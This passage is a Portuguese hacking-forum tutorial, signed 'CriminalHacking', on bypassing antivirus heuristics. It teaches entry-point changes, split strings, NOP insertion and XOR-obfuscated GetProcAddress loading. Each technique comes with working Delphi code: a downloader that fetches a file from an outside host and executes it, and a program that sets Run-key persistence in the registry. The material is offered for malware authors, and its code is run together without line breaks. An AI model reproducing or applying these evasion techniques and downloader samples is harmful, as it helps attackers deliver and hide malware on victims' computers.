usar o metodo, como usa-lo e dara um exemplo. Tornando assim, muuuuuuuuito facil de entender! :DLembrando... 100% by CriminalHackingEntao... Lets Code!Como funciona a Heuristica?Um Heuristic Scan, funciona, scaneando certas APIs que muitos malwares usam. Por exemplo, a funcao UrlDownloadToFile();. Ela e usada para salvar um arquivo da internet, para seu computador. Ou seja, faz o download do arquivo para seu computador. Isso e muito usado por Downloaders.Bypassando a Heuristica Modo Facil 1. Alterando o EntryPoint A. O que e?O EntryPoint e um endereco, que define o endereco base de mapeamento na memoria. B. Porque?O porque de alterar o entrypoit, e que muitos AVs, para serem rapidos e gastarem pouca memoria, scaneiam apenas o PE Header (cabecalho) do executavel. Entao, alterando ele, automaticamente alterara o PE Header tambem. C. Como?Para alterar o EntryPoint, e apenas definir {$IMAGEBASE Numero} no seu codigo. Aonde numero, e um valor que voce define, e pode variar de $00010000 ate $7FFFFFFF. O valor padrao e $00400000D. Exemplo: program HazardDownloader; {$IMAGEBASE $0026589541} usesWindows, ShellApi, UrlMon; constURL = http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png;Arquivo = C:\hazardsource.png;beginURLDownloadToFile(nil, URL, Arquivo, 0, nil);ShellExecute(0, open, Arquivo, nil, nil, SW_SHOWNORMAL);end.2. Dividindo as Strings principaisA. O que e?Dividir as Strings principais, consiste em dividir uma String, que pode ser usada pelo AV para detectar seu arquivo.B. Porque?Divindo-as, dificulta a vida dos AVs porque quando o programa for compilado, elas nao vao ficar uma ao lado da outra.C. Como?Simples! E apenas pegar a String, e literalmente separa-la em diversas.D. Exemplo:program HazardAutoRun;usesWindows;const Chave = SOFT+WARE\Mi+cros+oft\Wi+ndows\+Current+Vers+ion\Run; Nome = HazardAutoRun; var RegKey: HKey;Valor: String; beginValor:=ParamStr(0);RegCreateKey(HKEY_LOCAL_MACHINE, Chave, RegKey);RegSetValueEx(RegKey, Nome, 0, REG_EXPAND_SZ, PChar(Valor), Length(Valor));RegCloseKey(RegKey); end.Bypassando a Heuristica Modo Intermediario1. Inserindo NOPs A. O que e?NOP, e uma instrucao Assembly para a familia Intel x86 CPU. Deriva de No OPeration, ou seja, sem operacao.B. Porque?Inserir NOPs, dificulta um pouco a heuristica dos AVs, porque separa as instrucoes.C. Como?E apenas abrir um asm e inserir o NOP nele entre, ou no comeco, das funcoes que possam serem detectadas.D. Exemplo:program HazardDownloaderNOP;usesWindows, ShellApi, UrlMon;const URL = http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png;Arquivo = C:\hazardsource.png; beginURLDownloadToFile(nil, URL, Arquivo, 0, nil); asmnop end;ShellExecute(0, open, Arquivo, nil, nil, SW_SHOWNORMAL); end.Bypassando a Heuristica Modo Dificil1. Carregando funcoes com GetProcAddress(); EncriptadaA. O que e?Carregar funcoes com a funcao GetProcAddress(); encriptada, baseia-se na ideia de carregar a funcao dinamicamente, e o nome da funcao e desencriptado em run-time.B. Porque?Assim, se o AV scanear apenas o arquivo, ele nao achara nada. Apenas achara se ele scanear a memoria do processo. Deixando assim, um pouquinho mais dificil para os AVs. :DC. Como?E apenas carregar a funcao com o a funcao GetProcAddres();, e usar algum tipo de encriptacao, para encriptar o nome da funcao, e na hora de chamar, desencriptar a string. D. Exemplo:program HazardDownloaderCrypted;usesWindows, ShellApi, URLMon;typeTDownload2File=function(Caller: IUnknown; URL: PChar; FileName: PChar;Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;function Encriptar(Str: String): String; constKey=q8b2x74h851xk; varY, Z: Integer;B: Byte; beginZ:=1;for Y:=1 to Length(Str) do beginB:=(Ord(Str[Y]) and $0f) xor (Ord(Key[Z]) and $0f);B:=B xor 10;Str[Y]:=Char((Ord(Str[Y]) and $f0)+B);Inc(Z);if Z>Length(Key) then Z:=1; end;Result:=Str; end;constURL = http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png;Arquivo = C:\hazardsource.png; varDownload2File: TDownload2File; beginDownload2File:=GetProcAddress(LoadLibrary(URLMON.DLL), PChar(Encriptar(^PDLmz`nmnoVnMkdmC)));Download2File(nil, URL, Arquivo, 0, nil);ShellExecute(0, open, Arquivo, nil, nil, SW_SHOWNORMAL);end.Bom... e isso... espero que tenham gostado.